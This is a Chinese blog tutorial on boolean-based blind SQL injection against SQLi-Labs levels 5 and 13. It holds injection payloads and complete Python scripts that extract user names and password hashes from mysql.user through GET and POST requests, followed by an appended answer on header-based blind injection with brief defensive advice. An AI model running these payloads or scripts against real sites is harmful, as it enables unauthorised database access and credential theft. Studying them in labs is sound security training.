布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

本文深入介绍了SQL布尔盲注的原理和步骤,包括长度判断和字符穷举,并提供了GET和POST请求的自动化脚本示例,适用于只有登录成功或失败两种反馈的情况。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

三、原理分析

接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。

1. 长度判断原理

首先,利用MySQL的 length()函数 判断返回结果的长度是多少。

比如,我们判断 database()当前数据库 的长度,在地址栏输入:

?id=1' and length( database() )=1 -- a

执行流程如下:
在这里插入图片描述
页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。
在这里插入图片描述
如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.

2. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。

页面异常(空)显示,表示猜解失误;

页面正常显示,表示猜解正确;

猜解流程如下:
在这里插入图片描述
ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s

上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。
在这里插入图片描述

四、步骤总结

适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况。

1. 判断注入点

同时满足以下两种情况:

?id=1' and 1 -- a	正常显示
?id=1' and 0 -- a	异常(空)显示

2. 判断长度

?id=1' and length( 查询语句 )=1 -- a	

3. 枚举字符

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

五、盲注脚本

手工盲注的时间复杂度非常大,通常会使用脚本盲注。

get请求盲注脚本:

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
	                (select group_concat(user,password)
                    from mysql.user)
                ) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
	                substr(
		                (select group_concat(user,password)
		                from mysql.user)
	                ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本:

import requests

# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
                    (select group_concat(user,password) 
                     from mysql.user)
                )>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
                    substr(
                        (select group_concat(user,password)
                        from mysql.user)
                    ,{l},1)
                )={n} -- a"""

# post请求参数
data= {
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('正在测试长度:', length)
            length += 1
        else:
            print('测试成功,长度为:', length)
            return length;

# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

length = getLen(payload_len)
getStr(length)

感谢你的点赞、收藏、评论,我是三日,祝你幸福。

在研究SQL注入技术时,sqli-labs提供了个非常好的实验环境。其中,盲注是种更为隐蔽的攻击方式,利用HTTP头部信息进行盲注攻击可以让攻击者在不直接获取数据库错误信息的情况下探测数据库内容。以下是实现基于HTTP头部信息的SQL盲注攻击的具体步骤: 参考资源链接:[MySQL注入实战指南——Sqli-labs教程解析](https://wenku.csdn.net/doc/809aajwq91?spm=1055.2569.3001.10343) 1. **环境准备**:首先需要搭建sqli-labs平台环境,这包括下载sqli-labs源码,配置Web服务器(如Apache或Nginx),并将sqli-labs源码放置到服务器根目录下。 2. **理解盲注机制**:盲注指的是攻击者通过数据库的返回时间或者返回内容的变化来判断数据库内容。在HTTP头部中,可以通过检测HTTP响应头中的特定字段来判断SQL语句是否执行成功。 3. **发起盲注**:以sqli-labs的Less-32为例,这是个典型的基于HTTP头部的盲注挑战。首先,需要确定注入点,然后利用布尔型盲注技术构造SQL查询语句。例如,构造如下的请求: ``` GET /?id=1' AND (SELECT SUBSTRING(password, 1, 1) FROM users LIMIT 1)=a HTTP/1.1 ``` 这里的`' AND (SELECT SUBSTRING(password, 1, 1) FROM users LIMIT 1)=a`是盲注的核心查询,它检查`users`表中第行密码的第个字符是否为字母'a'。 4. **解析响应**:服务器会根据查询结果返回不同的HTTP响应,如果密码的第个字符是'a',服务器可能会返回个正常页面,否则可能是个错误页面或重定向。通过分析HTTP头部中的状态码或者特定的头部字段,可以判断SQL语句是否执行成功。 5. **自动化攻击脚本编写**:在实际攻击中,可以编写自动化脚本,逐个字符探测密码,通过调整SUBSTRING函数中的起始位置和长度来逐步还原出完整的密码信息。 6. **安全防护建议**:通过这个练习,可以深刻理解SQL注入的危害。为了防范此类攻击,应严格进行SQL语句的参数化处理,使用预编译语句,同时对用户输入进行严格的验证和过滤。 对于想要深入了解SQL注入及其防护措施的读者,推荐查阅《MySQL注入实战指南——Sqli-labs教程解析》书。书中详细介绍了利用sqli-labs进行实战练习的全过程,包括HTTP头部盲注在内的多种攻击技术,以及如何搭建安全的数据库系统。这份资料非常适合希望提升自己网络安全知识和技能的读者。 参考资源链接:[MySQL注入实战指南——Sqli-labs教程解析](https://wenku.csdn.net/doc/809aajwq91?spm=1055.2569.3001.10343)
评论 24
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值